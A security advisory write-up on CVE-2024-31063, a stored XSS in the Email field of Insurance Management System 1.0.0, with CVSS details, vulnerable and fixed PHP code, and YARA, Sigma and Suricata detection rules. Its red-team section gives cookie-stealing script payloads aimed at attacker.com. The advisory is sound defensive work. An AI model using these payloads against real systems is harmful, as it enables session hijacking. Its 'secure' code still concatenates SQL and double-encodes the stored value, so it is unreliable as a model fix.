CVE-2024-31063

Executive Summary

CVE-2024-31063 is a Stored Cross-Site Scripting (XSS) vulnerability in the Insurance Management System version 1.0.0 and earlier. The flaw resides in the Email input field of the application, allowing an unauthenticated remote attacker to inject arbitrary JavaScript code. When an administrator or other user views the page containing the malicious email, the script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vendor has not released a patch, and no official fix is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the vulnerability is trivial to exploit.

Supply Chain & Package Security

This is a custom PHP/MySQL application, not a package from NPM, PyPI, Go, or Ruby. No supply chain implications exist beyond the application itself.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must view the malicious email
• Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exfiltration
• Integrity Impact: Low (I:L) – limited content modification
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. No patch exists, making all instances of the software vulnerable.

Deep Dive & Mechanics

The Insurance Management System (IMS) is a PHP-based web application for managing insurance policies, clients, and claims. The vulnerability occurs in the Email input field during user registration or profile update. The application fails to sanitize or encode user-supplied input before storing it in the database and later rendering it in the browser.

Attack Flow:

1. Attacker navigates to the registration or profile update page.
2. Attacker enters a malicious payload in the Email field, e.g., <script>alert('XSS')</script>.
3. The application stores the payload in the database without sanitization.
4. When an administrator or another user views the list of clients or the user's profile, the stored payload is rendered in the browser.
5. The JavaScript executes in the victim's session, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding and input validation on the Email field. The application likely uses echo $_POST['email'] or similar without htmlspecialchars() or equivalent.

Vulnerable vs. Patched Code

Since no patch exists, we compare the vulnerable code to a secure implementation.

Vulnerable Code (PHP):

<?php
$email = $_POST['email'];
$query = "INSERT INTO users (email) VALUES ('$email')";
mysqli_query($conn, $query);
?>

When displaying:

<?php echo $row['email']; ?>

Patched Code (Secure):

<?php
$email = mysqli_real_escape_string($conn, $_POST['email']);
$email_safe = htmlspecialchars($email, ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO users (email) VALUES ('$email_safe')";
mysqli_query($conn, $query);
?>

When displaying:

<?php echo htmlspecialchars($row['email'], ENT_QUOTES, 'UTF-8'); ?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Insurance Management System v1.0.0
• Attacker machine with a web browser and a listener (e.g., nc -lvnp 4444)

Exploit Steps:

1. Navigate to the registration page: http://target/register.php
2. Fill in the form with a malicious payload in the Email field:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Submit the form.
4. Wait for an administrator to view the user list or profile.
5. The admin's browser sends the cookie to your listener.

Proof-of-Concept Payload:

<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'http://attacker.com/log?cookie=' + document.cookie;
</script>

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to registration/profile endpoints for suspicious Email parameters containing <script>, onerror, onload, etc.
• Use WAF rules to block common XSS patterns in form fields.

Hunting:

• Search database for Email fields containing HTML tags or JavaScript.
• Review web server logs for unusual referrers or repeated registration attempts.

Lab Setup:

• Deploy IMS v1.0.0 in a Docker container.
• Use Burp Suite to intercept and modify Email field.
• Set up a listener (e.g., python3 -m http.server 80) to capture exfiltrated data.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /register.php or /profile.php with Email parameter containing <script> or on* event handlers.
  • Outbound connections to attacker-controlled domains from the web server.
• Host:
  • Database entries in users table where email column contains HTML tags.
  • Web server logs showing alert('XSS') or similar in the Email field.
• File:
  • No specific file IOCs; the vulnerability is data-driven.

Detection Engineering

YARA Rule

rule CVE_2024_31063_XSS_Email {
    meta:
        description = "Detects XSS payloads in Email fields for CVE-2024-31063"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-31063"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-31063 XSS in Insurance Management System Email Field
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS attempts in Email field of Insurance Management System
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'email='
        cs-uri-query|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate email addresses containing special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-31063 XSS in Insurance Management System Email Field"; flow:to_server,established; content:"POST"; http_method; content:"email="; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict validation on the Email field to allow only valid email formats (e.g., using filter_var($email, FILTER_VALIDATE_EMAIL)).
2. Output Encoding: Use htmlspecialchars() with ENT_QUOTES and UTF-8 when displaying any user-supplied data.
3. Content Security Policy (CSP): Add a CSP header to restrict script execution: Content-Security-Policy: default-src 'self'; script-src 'self';
4. Web Application Firewall (WAF): Deploy a WAF (e.g., ModSecurity) with rules to block XSS payloads in form fields.

Long-Term Fix:

• Upgrade to a patched version if the vendor releases one.
• Conduct a full security audit of the application for similar vulnerabilities.
• Implement parameterized queries to prevent SQL injection (though not directly related, it's a common co-occurrence).

Workaround:

• Disable the registration feature if not required.
• Manually sanitize the Email field in the database using a script.

Valters IT
Securing Digital Frontiers